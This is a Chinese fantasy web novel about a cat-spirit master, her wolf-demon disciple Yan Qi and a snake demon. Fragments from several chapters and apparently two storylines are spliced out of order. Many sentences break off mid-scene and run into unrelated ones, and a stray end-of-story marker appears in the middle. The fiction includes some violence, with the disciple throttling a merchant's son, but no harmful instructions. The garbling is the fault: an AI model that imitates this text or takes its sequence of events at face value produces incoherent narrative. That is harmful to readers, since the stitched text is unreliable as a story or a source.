而他常年形同干涸沼泽的经脉更是犹如被甘泉润泽过一般,奇迹般地冒出了几缕温浅的灵气。 尽管这点灵气于他被废多年的经脉而言,几近于无。 少年歪了歪头。 肉眼可见地更加困惑了。 他再度扭头看向那只做工精致的玉瓶,迟疑地伸出手来,摸了摸冰凉凉的瓶身。 也不知心里在想些什么。 天已完全黑了。 藏匿在树后的虞窈静静地看着少年的一举一动,一直没有发出声音。 目睹完少年狼吞虎咽地解决完烤鱼,又将薄毯捡了回来,拍拍沾在上面的灰,珍重地叠得整整齐齐后,才悄无声息地转身离开。 看着看着,系统突然意识到似乎有哪里不太对劲:“等等,你怎么自己吃上了,主角呢?” “哎呀呀,统你急什么。”虞窈慢悠悠地挑出一根完整的鱼刺,同时不动声色地向旁侧投去一瞥,视线掠过灌木丛里一双雾蓝色的眼睛。 “这不是自己来了吗?”在对上晏岐的视线后,猫怔住了。 说实在的,她从未见过这幅模样的晏岐,长眸微狭,眸中墨色如织。 男人此时眼里满满映着的都是她的身影,下唇洇染着点不起眼的水渍,是她方才留下来的痕迹。 那没什么血色的唇也逐渐变得稠艳殷红起来,乌发随风而动,眸底被诸多情绪占据。 如今的虞窈尚且不懂,那情绪名为——“情欲”。 猫只是单纯觉得这会儿的蛇有些反常,于是很认真地问道:“晏岐,你大脑过电了吗?” 难道说,那些反应只会发生在被亲的人身上? 晏岐没有回答,只抬起手指,带着薄茧的指腹摩挲着虞窈的嘴唇,还不轻不重地在上面按揉了几下。 然后他才看着虞窈的眼睛,不疾不徐地开口,低沉的声线里藏了几分不易察觉的哑意. 这样应该就不会被追上来了吧? 小狼崽低头看向掉落在地的烤鱼。 烤鱼的表面已经被地上的湿泥给弄脏了,扑鼻而来的香气却依旧诱人。 饥肠辘辘的胃被这香气所刺激,甚至都开始隐隐作痛,叫嚣着要狼崽快点把烤鱼囫囵吞掉。 大尾巴垂在地上来回轻扫,小狼崽用湿漉漉的鼻尖拱了拱鱼,正想要张嘴咬上一口,脑海里却忽然浮现出了从灌木丛的缝隙里窥见的那人。 很漂亮的一个女人。 小狼崽第一次见到这么美丽的存在,眉目柔和,周身满溢着的气质明显就与追杀它的那批人不同,也不知是来这片僻野之地做什么的。 眉心处甚至还落有一颗不起眼的红痣,像是只会出现在画卷上,亦或是从天上来的神仙。 可它却偷了她的东西。 她会生气吗? 她会生气的吧。出于锻炼自己仅剩的这个小儿子的能力、好让他在将来能够更好地继承孙家家业的初衷,孙富商就将护送货物的任务交到了孙貌手上。 然而在与以董远乐为首的连云宗弟子汇合后,孙貌便以一种高高在上的姿态扫视了在场所有人。 诸如“修仙有什么用,到头来还不是要被我爹叫来当我的帮手”之类的贬低话说了一大通,气得董远乐及同行弟子牙痒痒,偏偏又碍于孙貌的身份,不能够轻易发作。 一行人里对此毫无反应的只有晏歧。 孙富商一共准备了十辆马车,连云宗的弟子和孙貌这边的人同坐了其中一辆最大的,剩下的全都载着将要运去邻城的货物。 晏歧独自一人坐在马车的角落里,掌心里握着一只橘色的毛毡猫。 那是虞窈用大猫妖送给她的那些猫毛随手做的,做好后就顺手递给了自家徒弟。 还笑眯眯地问,怎么样,是不是很可爱?师尊送你。 晏歧对毛毡猫这种小玩意儿其实不感兴趣,尤其他并不喜欢那只大猫所生的小橘猫。 这烤鱼本来就不属于它。 狼崽气息不匀,仍然喘着粗气,盯着冷下去的烤鱼看了许久。 不知过去了多长时间,它重新叼起了鱼,凭着记忆往来时的路原路返回而去。 很快,它看到了那条清澈干净的小溪。 烤过鱼的火堆还在。 小神仙却不见了踪影。 喜欢虞窈伸懒腰、揣手手,还有喉咙里发出的舒服的呼噜声响。 喜欢虞窈的明媚自信、敢爱敢恨。 喜欢虞窈身上鲜活的生命力。 喜欢虞窈值得这世间所有的美好,永远是只自由的小猫。 晏岐不得不承认,这些都是他没有的东西。 不需要虞窈时时刻刻都在他的身边,更不需要把虞窈关在所谓的金丝笼子里。 只要虞窈笑盈盈地站在那里,他便情不自已地、渴求地、近乎疯狂地—— 迷恋着那只可恶又可爱的坏猫。 第 47 章 第四十七章 虞窈觉得,晏岐真是三界里最坏最讨厌的蛇了。 不。 是三界里最坏最讨厌的妖! 简直就比之前毁猫流清湖的时候还要讨厌。 她闷闷不乐地沿路踢着小石子,终于在日落时分抵达了巫云峰的家。 久违的竹屋赫然出现在眼前,还是猫离开之前的熟悉模样。 只是数月未归,院落里不可避免地堆积了不少残枝败叶,屋子里也落了不少灰尘。 不好好清理一番的话,自是住不了人的。 更加住不了一只格外爱干净的猫。 可猫现如今正在气头上,根本就不想自己动手。 虞窈寻了处相对干净一点的地方盘尾蹲好,尾巴有些烦闷地左甩右甩。 不知想到了什么,猫突然眼前一亮。 有了! 白金色的妖息很快如细细密密的蛛网般自巫云峰峰顶向山下四周迅速地蔓延开来。 虞窈闭着眼睛,转瞬间幻化出了灵猫真身,九条细长松软的尾巴自她身后肆意地摇晃着,月牙状的印记也在她的额心间闪闪发光。 也就仅仅过去了短短两三息左右的时间而已,虞窈便快速锁定了目标。 猫慢慢睁开了眼,漂亮的蓝金色异瞳在夕阳余晖的映照下光彩熠熠。 起因是富商那边派来的人发生了细微的变动。 参与送货的人并非那位仁心仁善的孙富商,而是他的小儿子,孙貌。晏歧挥出的每一剑,角度和力道都极其刁钻精妙,渐渐的,蛇妖竟肉眼可见地处于了下风。 木剑最终直取蛇妖七寸,在即将劈中的时候,却生生停了下来。 晏歧凝蛇妖一眼,只冷冰冰地道出一个字:“滚。” 蛇妖灰溜溜地跑了。只听“嘭”的一声,就连粗壮的树干都被这毫不留情的力道弄得接连震颤了几下,更别提是被这一砸砸得鼻青脸肿的孙貌了。 因蛮力而撞出来的鼻血一时间糊了孙貌满脸,嘴唇边角也磕出了一条长长的血痕,使得此时的孙貌看起来狼狈又滑稽。 孙貌痛极,立时发出了一声酷似杀猪的嚎叫,在摸到满脸温热黏腻的鲜血后,更是脸色惊变。 他平日里养尊处优惯了,走到哪儿别人都是对他弓腰哈背的,“孙少爷”“孙少爷”的叫,哪里想得到晏歧居然真的敢对他出手。 忌惮害怕的同时,又不想在众人面前拂面子。虽然自家徒弟并非对什么都不在意,就好比她这个师尊在徒弟那里就是个明晃晃的特例。 但这并不影响虞窈还是体会到了什么叫做“养成系的快乐”。第三天。 没有找到野兔的虞窈在火堆旁留下了一串烤鱼,以及一瓶疗伤用的丹药。 她拍拍手潇洒离去,而后绕了一圈,回到了昨天待过的大树上。那,她也会将小猫妖收作自己的徒弟么? 这种不爽的感觉在小猫妖吃完了属于自己的那份烤鱼,竟还不知满足地将目光投向他手里的这一条时,达到了巅峰。 若隐若现的雾蓝色悄然在晏歧眸底浮现。在一个天刚破晓的窈明,虞窈终于带着晏歧走出了禁制的边界。 或许是在那座山峦里待了太久太久,当呼吸到外界的新鲜空气时,晏歧既觉得不太真实,也感到几分无所适从。 他抿直了唇线,望着眼前与山峦内截然不同的盎然之景,突然间犹疑着怯懦不前。 身体里好像有个声音在疯狂叫嚣。 回去,回去!身后那个才是属于你的世界。 他下意识地往后退了一步。 然而就在下一秒,一个熟悉柔软的触感悄然钻进他手心。 虞窈什么都没有说,只紧紧握住了自家徒弟的手,偏头冲他弯了下眼睛。 笑得很漂亮。 于是心头那些怪异的感觉、聒噪的声音,都轻而易举地因为这个亲和的笑容被瞬间瓦解了。 没有了禁制的影响,虞窈体内流逝的那些灵气很快得到了补充。 她从储物囊里翻找出飞行法器,牵着小徒弟的手,马不停蹄地赶回了连云宗。 其实在去到狼崽所在的山峦之前,虞窈就先以原本的身份,和自己的师尊柳至云、大师兄谢青扬重新见过面了。 然而就在小猫妖凭借本能,懵懵懂懂地扑过来想要叼走晏歧的那一条鱼时,一只宛如莹润白玉的手及时伸了过来。 捏起小猫“命运的后脖颈”,便轻而易举地将它拎到了一边。 虞窈并未留意到自家徒弟略显错愕的眼神,一心只想好好“教育”一下这只贪吃的小猫。 “诶诶诶,你怎么还抢吃的?这是不对的噢,那条鱼可是我们晏歧的,我们晏歧还要养伤长个子呢,都给你吃了怎么成。” 这并不是虞窈第一次这样称呼晏歧,先前在夸他眼睛漂亮的时候,虞窈就曾无意间说过一次——“我们晏歧”。 但一旁的晏歧依然很明显地怔了一下。 是他的错觉吗? 在虞窈眼中,他和小猫妖似乎还是有那么一点点不一样的。 毕竟。 小猫妖是“诶诶诶”,是“你”。 而他是“晏歧”,是“我们晏歧”。 这棵大树估计已有百年之久,树干生得格外粗壮,枝叶繁密,既能承受得住虞窈的重量,也能让她完美地隐去身形,不被狼崽发现。 只是,不知是虞窈的错觉还是怎么,今天小狼崽出现得格外畏手畏脚,徘徊不前,像是在犹豫着些什么似的。 在看到摆在烤鱼旁边的玉瓶后,少年更是脸色一变,转身就逃。 目睹了这一切的虞窈在心里懊恼地轻啧了声。 是她太心急,吓到小狼崽了? 可她明明都没有出现,只是想让狼崽带走药瓶,给自己上个药而已。 虞窈不知道的是,狼崽其实根本就不知道那个玉瓶是用来干什么的。 甚至于,它将其当成了一种威胁,亦或是警示。 诚然,狼崽的确在狼族里度过了一段还算无忧无虑的幼年时光。 直到人族里有位大能得道升仙,在飞升前留下了一则预言,声称狼族中将出一子,会在未来灭了整个九洲,所有矛头便都指向了狼王与狼后这位唯一的后代。 为了向九洲表忠诚,证明狼族绝无异己之心,狼王狠心废去了狼崽一身的筋骨经脉,还将它关去了妖兽横行、灵气稀薄的禁林,任由它在里面自生自灭,断绝了它任何修炼的可能。 她立马得意地轻哼一声,抬抬下巴,骄矜的神情活像一只臭屁小猫。晏歧是个自觉的、不需要师尊操心的徒弟。 虞窈不在连云宗的这段日子里,他的功课一点都没有落下,同时也将长青谷小主人的角色扮演得很好,把谷里上下都打理得井井有条。 只是看着院落里那些平时都是虞窈在用的物件,此时在谷中却找不见其主人的身影,心里难免觉得少了点什么,变得空落落的。 按照虞窈出发前的吩咐,晏歧按时给院中盆栽修剪着枝叶。 余光留意到枝蔓间新结出来的虞窈心心念念的小番茄果,他下意识地唤了声师尊,等了几息,偌大的长青谷里却无人应答。 晏歧轻微一怔,突然后知后觉地意识到了,师尊分明才离开长青谷三四天而已,他似乎就比之前下山历练那次还要想念虞窈了。 少年的思念在师尊离开的第七天,又是一个雷雨夜里达到了巅峰。 屋外惊雷不断,晏歧独自一人倚在窗边,手里握着师尊做的那只橘色毛毡猫,脑海里不由自主地浮现出了师尊那晚在自己面前展现的难得不那么像师尊的模样。 一个人出门在外,师尊是否还是会因为这样的恶劣天气而感到害怕? 没有徒弟陪在身边,师尊会不会经受电闪雷鸣的困扰,彻夜睡不着? 除了对师尊的思念与担忧以外,少年的心底更是悄然滋生出了一种前所未有过的情绪。 晏歧意识到有哪里不太对劲,却尚不能够明白这到底是什么。 直到师尊回来,晏歧就更加弄不清楚了。 “那当然,我们晏歧可是为师唯一的徒弟,师尊不对你好还能对谁好呀?” “我我偏就要说你师尊又如何,怎么,你还能杀了我不成?” 却见晏歧毫无笑意地冷笑了下。或许是拥有了共同的不能够对师尊说的小秘密,总之,晏歧和董远乐的关系逐渐好了起来。 当真单手拎起孙貌的衣襟,像扔孩童们玩的蹴鞠似的,再度将孙貌扔向了一旁的大树。 树叶纷纷扬扬落下,这回竟是连孙貌的两颗大门牙都快磕掉了。 话音落下的同时,有什么柔软的东西轻轻扫过了虞窈脚踝。 陌生又熟悉的触感令虞窈很快就反应了过来。十天后,就是弟子们一年一度的年底考核了。 为了让弟子们能够安安心心地过个好年,这次年底考核的内容设置得尤为简单。 以至于每个考完出来的弟子脸上都是一副轻松至极的表情,甚至还有闲心挤在一起说小话。 董远乐眼尖地注意到了刚刚考完的晏歧,立马冲他挥了挥手:“晏师弟!” 其余的弟子听见了,也跟着抬起头来,很是热情地同晏歧打招呼。 经过这几个月的时间相处下来,还有董远乐这个“晏歧吹”到处和弟子们灌输“晏师弟有多厉害、人有多好”的理念,大部分的弟子渐渐不再觉得虞师叔这位半途入门的弟子冷冰冰的,不好相处了。 尤其是在向晏歧请教了一些问题,晏歧都一一给出了解答后,他们逐渐与董远乐的想法达成了一致。 晏师弟那哪是冷冰冰,分明就是个、性! 晏歧向他们微一颔首,算是打过招呼。 他对弟子们之间讲的小话不感兴趣,只想要快些回到长青谷。 如果她没有感觉错的话,那似乎是徒弟的尾巴。 如此做完还不打算收手。晏歧从不认为自己是个什么好东西。 即使是被仁心善良的师尊收作了徒弟,整日在师尊面前扮演乖顺听话的小狗,也依然改变不了狼族骨子里的劣根性。 毕竟,他是在禁林那样残酷的地方靠着整日厮杀才勉强活下来的,又在僻野的山峦里东躲西藏了数年,心里尚怀揣着无数仇恨。 这样的一只妖,再好又能好到哪里去呢? 别人会如何看待他,晏歧无心去管,也并不在意。 他只是单纯地希望,师尊不要知道这些就好。 至少在师尊眼里,他要永远都是她的好徒弟。 仅此而已。 可现在,目睹了当日全部经过的董远乐找上了门来。 他会将这些告诉给师尊听吗? 黑发少年垂下眼睫,平静地望向了候在谷口那抹高壮的身影。 晏歧半眯起眼,复又掐上孙貌的脖颈,面不改色地收紧了手中力道。 从脖颈处传来的足以将骨头捏碎的力道不似作假,直到一张脸彻底涨成猪肝色,孙貌才真正意识到,晏歧是真的会杀了他。 晏歧这才收起剑,弯腰捡起地上的毛毡猫,轻轻拍去了上面的灰尘。 小心翼翼的模样和方才比起来简直判若两人。 孙貌从劫后余生的恐惧中回过神来,蛇妖早已消失得无影无踪,仿佛方才的那些都是他经历的一场噩梦而已。 后怕散去,火辣辣的剧痛从胸口传来,看着一地狼藉,尤其是地上那滩自己呕出来的鲜血,孙貌不禁觉得自己丢尽了颜面,顿时气得怒火中烧。 “你们都是干什么吃的,怎么能让那只蛇妖就这样跑了?连只蛇妖都制服不了,还好意思说自己是修仙之人?简直就是饭桶一帮!” 董远乐何曾被人这样指着鼻子骂过,就算严厉如他的师尊谢青扬,也不曾骂他骂得这么难听过。 “你——”虞窈喋喋不休说了一路,晏歧就安安静静听了一路。 直到夕阳西下,红金余晖洒满大地,虞窈牵着小徒弟的手,绕回到了一开始的原点。 落日霞光将她栗褐色的清透眼眸晕染出一层柔和的金色,虞窈的声音也一如既往地清润平和。 “师尊和你讲这么多呢,也没别的意思,只是想让你知道,长青谷就是你今后的家,而我不仅是你的师尊,也是你的家人。” “当然了,你的师公师伯他们也是。家人与家人之间,是没有什么‘值不值’、‘配不配’这一说的。” “师尊这么说你可能不信,但师尊能感觉得出来,你的师公师伯都挺喜欢你的,师尊也喜欢你。” “师尊希望你能够把这里当做自己的家,把从前的那些都当成是一场噩梦。梦醒了、噩梦过去了,今后的每天就都该是快快乐乐的了。” 这里是他的家么? 陌生的字眼令晏歧的眼睫很轻地颤了一下。 说实在的,虞窈的那些描述其实并不算绘声绘色。 她也完全不抱任何希望,光凭她的这一番话,自家徒弟就能抛下对自己的成见,把自己当成是连云宗的一份子、长青谷的小主人。 但在虞窈说个不停的畅想中,晏歧的指腹小心翼翼地摩挲着藏在袖中的那一枚温润的玉牌。 他渐渐从“真的吗,连他这样的人也可以拥有这样的未来吗?”,一直到他好像真的看见了有一颗没发芽的种子在师尊的养育下开出了一朵小小的花,也看到了那些未来的画面。 是为徒弟买的二十件红黄蓝绿紫的衣裳中唯一的一件黑色。 还被淹没在厚厚一叠衣裳的最底下,倘若不仔细看的话,压根就发现不了。 付给老板娘灵石的时候,虞窈很满意地在心里面想。 幸好幸好,她没有变成自己小时候最讨厌的模样。 她可真是个善解人意的好大人,她真棒。 出了成衣铺,时候尚早。 善解人意的好大人寻思着来都来了,不如带着自家徒弟在孟城里逛逛。 便笑眯眯地问徒弟:“晏歧,你还有没有什么想要的呀?” 晏歧穿着虞窈精心挑选的红衣,在这样艳绝的颜色衬托下,少年的五官更加昳丽,一双墨眸尤为清亮。 他看着师尊,摇了摇头。 虞窈就猜到问徒弟会是白搭。 徒弟年纪不大,却跟个无欲无求的小老头似的。至少在烤鱼的时候,终于有调料可撒了。 但虞窈自己想了又想,也没能想到有什么是她能够买给徒弟的。 小孩儿玩的九连环、鲁班锁、七巧板之类的太幼稚,已经不适合徒弟这个岁数的半大少年了。 仙侠世界又不像现代,就算她愿意给徒弟买手机平板电脑之类的东西打发时间,也没办法真给徒弟弄来。 虞窈最后得出结论:啧啧啧,这个时代的小毛孩可真可怜。 被师尊用奇怪的眼神注视着的晏歧:“?” 总之,虞窈觉得今晚上的鱼比之前好吃了不少。 她一边吃鱼,一边看着还在火堆前不停忙活的小徒弟,突然又转变了想法。 唔,也可能是因为今晚的鱼是徒弟烤的,所以才给了她这样的感觉也说不定。 “晏歧,别忙活了,你也赶紧吃呀。”虞窈适时开口道。 她今晚上已经连着吃了两条鱼了,徒弟却连鱼烤出来是个什么味都还没尝过呢。 但师尊最后什么都没说,只带着“可怜”的徒弟,轻飘飘地叹着气,慢悠悠地回了家。——属于他和虞窈的未来。 分明就是孙貌自己蠢得不行,敢挑衅筑基中期的蛇妖不说,还险些害得红师妹丢掉性命,他没找他算账都是好的了。 “你什么你?等着吧,等回到了孟城,我定要让我爹去找你们掌门,好好教训你们一通不可!” “还有你——”将董远乐他们骂得狗血淋头,孙貌犹觉得不够过瘾,又将矛头指向了一旁的晏歧。 “刚刚你是瞪了我是吧?真是好大的胆子,你师尊是不会教人没教过你吗,啊?也不看看自己几斤几两,还敢瞪——” 一句话尚未说完,方才还神色淡淡的晏歧脸色忽然就冷了下去。 他骤然如鬼魅般闪身至孙貌身旁,抬手便快又狠地扼住了孙貌后颈,面无表情地将人重重摁砸到了一旁的树干上。 少年不带一丝波澜起伏的嗓音冷极,仿佛正被他摁着的不是一个活生生的人,只是一条砧板上待宰的鱼而已。 “孙貌是吧?” “谁给你的胆子,敢说我师尊一句不是?” 孙富商膝下一共有过三个孩子,只可惜皇天不佑好心人,老大和老二都因病早早夭折了,只剩下了老三孙貌。 连着痛失两子的孙富商自然格外宝贝自己唯一剩下的这个小儿子。 只可惜孙貌并非争气之人,反而因为孙富商的过分溺爱,逐渐长成了嚣张跋扈、无法无天的模样,有时竟连孙富商都管教不了他。 猫这才有些矜傲地抬起猫猫头来,用毛绒绒的脑袋蹭了一下他的手掌。 忽然说道:“猫明天想吃妖厨做的八宝圆子了。” 她这几天吃的八宝圆子,都没有妖厨做的那番味道。 躲在暗处的日尧听见这话,有些一头雾水地摸了摸后脑勺。 “八宝圆子?什么意思?尊上不是还在道歉吗,猫怎么突然就扯到八宝圆子上面去了?” 听得旁边的月女直接给了他一记爆栗:“笨就闭嘴,怎么会有你这种连台阶都听不懂的笨蛋狗妖!” 吐槽完,月女又有些恨铁不成钢地叹了口气。 如今连尊上都开窍了,这条笨狗又要等到什么时候,才能勇敢那么一点呢? 至于晏岐很慢地眨了下眼。 像是溺水的人终于呼吸到了新鲜空气一般,身形高大的男人放低了姿态,单膝跪在地上,随即用自己的鼻尖轻轻地碰了碰猫的鼻尖。 然后才说:“明天吃,今天也吃。” “我现在就让妖厨过来,好不好?” 晏岐充满爱怜地看着那只大度的、慷慨的,又愿意将爱“施舍”给他、三界里最最好的好猫。 像是在看着什么失而复得的宝贝一样。《 》 【正文完】 第 48 章 第四十八章 虞窈如愿以偿地吃到了心心念念的八宝圆子,晏岐也没有再强求猫跟着他回妖殿。 只是用玉白的长指轻轻擦了擦沾在猫唇角边的汤汁,温声说道:“那,明天见。” 猫很是熟练地凑了过去,等到晏岐慢条斯理地帮她擦完唇角,才变回小猫形态,两只软乎乎的前爪搭上晏岐的手背,眼眸亮亮地问道。 “一定要明天见吗?” 一听这话,蝴蝶立马就拽上狗以及半个时辰前才匆匆赶来巫云峰的妖厨,很是自觉地匆匆走了。 晏岐低眸,看着这只表面上云淡风轻,实际身后面的尾巴都已经摇成了螺旋桨的小猫。 他轻缓地捏了捏虞窈外白内粉的小猫耳朵,鸦羽般的长睫垂敛下来。 语调散漫,慢悠悠地说道:“我还以为,猫猫大王不想要我留下。” 猫闻言脑袋一歪。 哎呀呀,蛇这说的是什么话? 虞窈转瞬间就又变回了人的样子,将将好跨坐在了晏岐的大腿上。 柔顺如瀑的银白色长发披散下来,若即若离地扫过了晏岐的小臂。 猫随即用双手环圈住了晏岐的脖颈,睫羽胜雪,目不转睛地盯着男人墨绿色的眼睛,再一言不发地贴近了过去,啄吻了下他的唇角。 这般浅尝辄止地亲完,猫便就又退了回来,轻轻将脑袋靠在了晏岐的肩膀上。 她嗅着晏岐身上好闻的松木冷香,不由自主地就将蛇圈得更紧了些。 猫明明什么都没有说,又像是什么都说了。 晏岐于是低低哼笑了声,宽大的手掌扶着猫的腰肢,蛇尾也圈上了猫的脚踝。 他低首,吻了吻猫的脸颊:“那便依猫猫大王的意,留下来好了。” 他错愕地抬起头来,径直迎上了虞窈投来的目光。 那双栗褐色的如水瞳眸正温温柔柔地望着他,很是漂亮地冲他弯了一下。 “那我们晏歧每天可要多多吃饭,好好养伤,等身子骨硬朗了、身上的伤也好了,就可以来跟他们一起学习剑法了。” 晏歧缓慢地眨了眨眼:“真的吗,师尊?”尽管如此,秉承着“宁可错杀一千,不可放过一个”的原则,九洲人最后还是覆灭了整个狼族。 至于早已被禁林暗无天日的日子磨灭了所有心性的狼崽心里唯独剩下了仇恨,自然什么都不懂、什么都快忘记了。 虽说还能够幻化出人形,但倘若再在这座僻野山峦里这样日复一日地待下去,狼崽恐怕不久之后就要与山林间的那些野兽别无二致了。 头也不回地跑出了好远好远,筋疲力尽、变回了妖形的狼崽才停了下来。 它靠在一块石岩上平缓着呼吸,圆形的瞳孔紧紧缩缩,喉咙不断发着“嗬嗬”的沙哑嘶声。 果然,它就知道。 连着两三天都是如此,小神仙怎么可能意识不到有人在偷她辛辛苦苦弄来的吃的。 摆在烤鱼旁边的那个瓶子里装的是什么?是她给小偷留下来的警告吗? 绝对就是警告吧。 尾巴在地面上来回轻扫,耳朵跟着耷拉下来,颓丧地垂在边侧。 腹部的伤口彻底裂了开来,甜腻的鲜血潺潺四溢,形成血泊。 狼崽盯着血流不止的伤口看了许久,好不容易平缓了呼吸,以及狂跳不止的心脏。 脏兮兮的身影最后拖着疲累的身子,随着逐渐西沉的落日,一点点消失在了山林深处。 虞窈就伸手捏捏他的脸:“当然是真的,师尊什么时候骗过你?” 师尊的确从来都没有骗过他。或许是徒弟实在太卷,又或许是因为有主角光环作祟,总之,晏歧的进步速度完全超出了虞窈的想象。 才短短两三月的时间,剑术就超出了同门一些资质比较平庸的弟子。 不禁让虞窈联想到了冲击高考那段时间,两年没用心学习的黑马花了两周时间就超过了她在年级里的排名,偏偏她还怎么都追赶不上。 简称为人比人,气死人。出发的前一天晚上,“小老头”虞窈把徒弟叫来自己房间,当着徒弟的面,一边收拾储物囊,一边语重心长地交代。 “晏歧,明天就是出发的日子了,为师给你准备了大半个月的干粮,都在那个施过特殊术法的食盒里,不用担心会放坏。” “清洁符啊穹清丸啊那些也在里头,你稍微翻翻就能看见了。” 用穹清丸连续温养了几个月的时间下来,晏歧断掉的那些经脉已经重接了个七七八八,不再需要虞窈帮忙炼化,这算是好事一桩。 “虽然此行危险不大,但倘若真的遇到了什么不能解决的麻烦,务必记得先保证自身安全。师尊还给你放了张传讯符,只需要捏碎它就可以跟师尊对话了。” 如果说之前晏歧还在耐心听着,不时点头以附和师尊,那么在虞窈交代完了这句话后,他的脸色才忽然变了。 “师尊不跟我一起去吗?”说完,便没再多看自家徒弟一眼。 只可惜虞窈的这种潇洒并没有在她身上维持太久。 晏歧离开的一个时辰后,虞窈就找上了当初给出这个建议的大师兄谢青扬。 没有同徒弟说的絮絮叨叨全都让师兄的耳朵听了去。 “师兄,你说他们现在都到哪儿了呀,应该已经跟那个富商汇合了吧?” “师兄,远乐好歹也是你目前唯一的徒弟,你怎么看起来一点都不担心他呀?” “师兄,你确定这趟来回最多也就半个月吧?我只给晏歧准备了半个来月的东西诶,早知道就再在储物囊里多给他塞些灵石了。” “师兄”日子就这样一天天过去,弟子们要学习的内容也跟着逐渐变多变难了起来。 不单单要学习剑术,也得开始学习一些简单的术法了。 董远乐没有这方面的天赋,整日被术法课折磨得苦不堪言,天天跟在晏歧身边吐槽。 “怎么办啊晏师弟,我师尊嫌我太笨了,怎么教都教不会。” “可是我上课的时候真的认真听了,课下师尊讲的那些我也都努力消化了,就是怎么听都听不懂嘛。” “我都怀疑要是再这样下去,师尊说不定就要在明年选新的弟子来教了。” 连云宗的登仙大会四年一次,明年正好轮到新一届大会开展,诸如谢青扬、虞窈这种在宗门里算是师叔、长老级别的人物就可以趁此收新的弟子了。 晏歧没有吭声,董远乐也不介意。尽管在这十天的时间里,他依然没有想清楚那不对劲的来源,但是师尊同他说,如果考核顺利的话,记得要回长青谷第一个向她报喜,所以少年现在满脑子装的都是自己师尊。 正欲与众人擦肩而过之时,却听其中一人用格外夸张的语气神神秘秘地说道。 “哎,你们刚刚说的那些也配叫八卦?我这个八卦才叫一个‘劲爆’好吧。” 众人自然不信:“你能知道些什么劲爆八卦啊?可别吹牛了。” “谁吹牛了?我同你们说昂,清水宗你们总该知道吧,听说那宗门里有个徒弟喜欢上了自己的师尊,怎么样,这还不够劲爆吗?” 闻言,晏歧的脚步倏而一顿。 从后山回屋舍的路上,晏歧一直低头看着师徒两人相牵着的手。 因为成功冲击了筑基,他全身上下的骨骼框架较起之前都稍微大了一点,以至于他的手看起来也已经要比师尊的宽大些了。 师尊握着他的力道也不重,然而却莫名其妙的,让晏歧觉得很有安全感。 回到屋舍以后,虞窈更是难得主动提议,今晚要守着徒弟睡觉。 要知道,除了晏歧刚来长青谷的那几天,虞窈担心徒弟难以适应新环境以外,之后就再也没有守着徒弟入睡过了。 晏歧闻言也摇摇头:“师尊,你还是早些回去歇息吧,弟子已经没事了。” 虞窈置若罔闻,只道:“你要是真想让为师早点休息,就少说这些有的没的,现在乖乖睡觉便是。” 晏歧便不再说话了。 他原本以为,今晚在经历了这么多的事情之后,他应该会很难睡着,再不济的话,大概也会做上一夜的噩梦。 但,或许是因为有师尊在旁,这一觉晏歧反而睡得很好。 一夜无梦,直至天亮。 反正他早就习惯了晏歧这种对什么都不在意的冷冰冰的态度,唯一能够引起晏歧兴趣的也就—— “对了晏师弟,你师尊呢?” “虞师叔的脾气那样好,应该不会像我师尊一样嫌弃你的吧?” 果然,一提到虞窈,晏歧终于舍得停下脚步,转过头来看了董远乐一眼。 只是那眼神很是奇怪,困惑中还带着一丝古怪的意味。 “近来白长老教的那些术法我都会,我师尊为什么要嫌弃我?” 董远乐:“” 哦,他忘了,晏歧跟他可不一样,他只不过是空有一个“大师兄”的头衔,天赋哪里能跟晏歧比。 等等,这么说似乎也不太对。 听闻人晏师弟大半夜都还在勤勉练剑练功,就算不论天赋,他好像也没有晏师弟一半努力啊。 这就是所谓的“你的努力还远远没有达到可以跟别人拼天赋的程度”吗? 一想到这,董远乐就更加“崩溃”了。 呜呜呜,他干嘛要这样自取其辱。 谢青扬正在清算连云宗这个月方方面面的灵石支出,此时在耳边喋喋不休的虞窈自然而然就成了只“聒噪”的鹦鹉。 他撂了笔,抬头看向面前踱步来踱步去的小师妹。 “师妹,要是有不知情的人在这里瞧见了你这幅样子,说不定要以为你那徒弟这次下山是去斩杀金丹甚至是元婴期的妖魔的。” “护送一批货物而已,这么紧张做什么?” 虞窈很不服气地轻哼一声:“师兄你不懂。” 谢青扬半撩起眼皮:“嗯嗯嗯,我不懂。” 虞窈顿时就跟见了鬼一样的盯着谢青扬:“?” 等会儿,这还是她那个清风道骨的大师兄? 她有点怀疑谢青扬被附身了,附身他的人还是她自己,这分明是她平时才会用的语气、才会说的话好不好。 虞窈不傻,自然听得出谢青扬这是被她念叨得烦了,故意在阴阳怪气。 便没好气地嘁了声,从桌案上一跃而下:“跟师兄你讲不通,不和你说了,我走了。” “嗯?”虞窈原本还在琢磨有没有哪里被遗漏了的地方,听见这话也倏地愣住了。 “你们下山历练,为师跟着去干嘛?” 望着徒弟错愕的眼神,虞窈终于后知后觉地意识到了,她和徒弟之间似乎存在着一定的信息差。 就连对门内弟子的剑术要求极高的谢青扬也不止一次在虞窈面前夸过晏歧,说只要这样保持下去,晏歧未来可期,必成大器。 自家徒弟能够得到大师兄谢青扬这么高的评价,虞窈自然高兴且自豪。 并有样学样,跟从前长辈一样谦虚地摆摆手,“欸”一声:“哎呀呀,跟我没什么关系,都是晏歧自己自觉争气,完全不用我这个师尊操心。” 谢青扬:“”她的一天只有十二个小时,而徒弟则有四十八甚至七十二个小时,用都用不完的那种。 仔细一看,这一盘青团虽然蒸得绿莹莹、油亮亮,很是诱人,长得却大小不一,一看就不是膳厅的师傅们的水准。 虞窈夹起一只青团送入口中,细嚼慢咽温吞品尝,晏歧也终于抬起了眼,在旁边一言不发地看着她。 徒弟虽然什么都没说,但这摆明了就是想要师尊给评价的意思。 倘若放在平时,依照虞窈的性子,恐怕还会故意不说话,好逗一逗徒弟。 但一想到徒弟放弃自己的休息时间,费尽心思地做这些,只是单纯因为她喜欢吃甜食而已,虞窈便什么逗人的心思都没有了。 一心只想好好夸奖徒弟一番:“哇,这也太好吃了吧,我第一次吃这么好吃的青团诶,晏歧你好厉害呀。” 被师尊用同样的语气哄过太多次,晏歧早已清楚师尊这些夸得人天花乱坠的话全然不可信。 他跟着夹起只青团尝了下,然后很是无奈地看向师尊,说:“师尊,味道分明就很一般。” 虽然背地里已偷偷做过许多次,但一想到这回是真的做给师尊吃的,难免还是有些发挥失常。 可虞窈明明就看到了徒弟轻微向上扬起的嘴角。尽管晏歧一直认为自己并不够格。 像他这种人,凭什么可以庇护这样的师尊呢?徒弟学剑学得实在是太刻苦了。第二天。 虞窈一大清早就在附近晃晃悠悠,一通忙活下来,居然还真给她逮到了只野兔。 瘦是瘦了点,但—— 烤兔,香香。一道瘦削孱弱的身影疾速穿梭在山野林间,快到几乎看不见残影。 